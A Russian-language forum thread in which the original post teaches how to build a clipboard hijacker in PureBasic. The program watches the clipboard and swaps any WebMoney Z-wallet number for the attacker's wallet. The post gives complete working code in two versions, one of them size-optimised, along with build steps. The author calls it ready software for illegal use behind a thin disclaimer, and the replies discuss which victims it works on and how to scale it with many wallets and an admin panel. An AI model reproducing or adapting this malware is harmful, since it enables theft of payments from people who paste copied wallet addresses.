Надеюсь, не нарушу правила форума. [Intro] Предлагаю сегодня научиться подменять текст в буфере обмена. Сразу скажу, что я не призываю к кардерству или воровству, цель -- просто показать, насколько просто это может быть. Писать мы будет на PureBasic. Сейчас, возможно, кто-то сильно разочаровался, не зная, что PureBasic и бейсик, к которому привыкли многие, похожи только синтаксисом. "Под капотом" это абсолютно разные языки. PureBasic -- ничто иное, как простой транслятор бейсика в FAsm, что говорит о многом(асмовые вставки, небольшой размер выходной проги, указатели, отсутствие необходимости в рантаймах и т.д.). Один минус -- он платный. Но найти полную версию в гугле очень просто, а для наших целей подойдет и демка с офиц. сайта(http://www.purebasic.com/). [Первый блин] Итак, приступим. Я, пожалуй, сразу покажу код, а потом его прокоментирую. Code: EnableExplicit Define.s myWMZ="Z123456789012" Define regex=CreateRegularExpression(#PB_Any, "Z[0-9]+") While #True Define curText.s=GetClipboardText() If MatchRegularExpression(regex, curtext) SetClipboardText(myWMZ) EndIf Delay(100) Wend На самом деле язык очень прост и освоить его по прилогаемому мануалу не проблема. Расмотрим только основные аспекты: первая строка -- команда компилятору предупреждать о необьявленный(объявление переменной -- define) переменных. Ее можно убрать, но не исключены опечатки в именах переменных, из-за которых вся логика программы может разрушиться. Далее идут объявления переменных, замечу только одно: суфикс ".s" указывает компилятору, что это строка, его можно прилепить как к директиве define(первый вариант), так и к имени переменной(второй). CreateRegularExpression -- функция, создающая регулярку(прошу прощения за плохой паттерн, это просто пример), для последующего использования. While #True ... Wend -- бесконечный цикл, в котором происходит все самое интересное: получение текста из буфера обмена(Define curText.s=GetClipboardText()), его сравнение с регуляркой(MatchRegularExpression(regex, curtext)) и если он подходит, то его замена нашим текстом(SetClipboardText(myWMZ)). Вот и все! Теперь давайте соберем нашу программку. Для этого в IDE шелкните по пункту меню Compiler(у меня англ. версия), далее выбираем пункт CreateExecutable(под опциями компилятора). Дальше все просто. [Разбор полетов] У меня получился файл размером в 67 кб. Многовато, не так ли? Давайте его уменьшим. Эксперементально выяснилось, что 60 кб тащит модуль работы с регулярками. Поэтому, если урать все упоминания о нем в коде, избвавимся от лишнего веса. Опять-таки сразу приведу код: Code: EnableExplicit Define.s myWMZ="Z123456789012" ;Define regex=CreateRegularExpression(#PB_Any, "Z[0-9]+") Procedure IsMatch(text.s) Define i If Mid(text,1,1)="Z" And Len(text)=13 For i=2 To Len(text) Define c=Asc(Mid(text, i,1)) If Not(c>=Asc("0") And c<=Asc("9")) ProcedureReturn #False EndIf Next ProcedureReturn #True Else ProcedureReturn #False EndIf EndProcedure While #True Define curText.s=GetClipboardText() If IsMatch(curText) ;MatchRegularExpression(regex, curtext) SetClipboardText(myWMZ) EndIf Delay(100) Wend Единственное отличие -- в закоментированных обращениях к regEx модулю и добавлению новой процедуры, которая выполняет тоже, что и регулярка. Кода, казалось бы, стало ольше, но скомпилировав прогу мы увидем, что ее размер 5,5 кб! И кто говорил, что бейсики прожорливы? [В заключение] По-сути, это готовый софт для незаконных дел, но я все же надеюсь, что Вы будете благоразумны и не станете использовать эти знания во вред.
сабж стар как мир. таким софтом ты сможешь обворовать лишь школьников, которые не смотрят имя получателя... да и кошельков тебе придется регать не один десяток под такие дела => нужно будет допилить еще нормальную админку, со статистикой подмены
Z-кошель просто пример, в остальном согласен. П.С. были когда-то слухи, что в LR подобным образом увели немалую сумму. Честность здесь не при чем. Статья писалась в основном для "пробы пера".
про лр верю, например я, получив кошелек через асю от селлера, копирую, оплачиваю название кошелька редко смотрю как и большинство наверное только заразить меня горазно сложнее чем всяких хомячков-школьников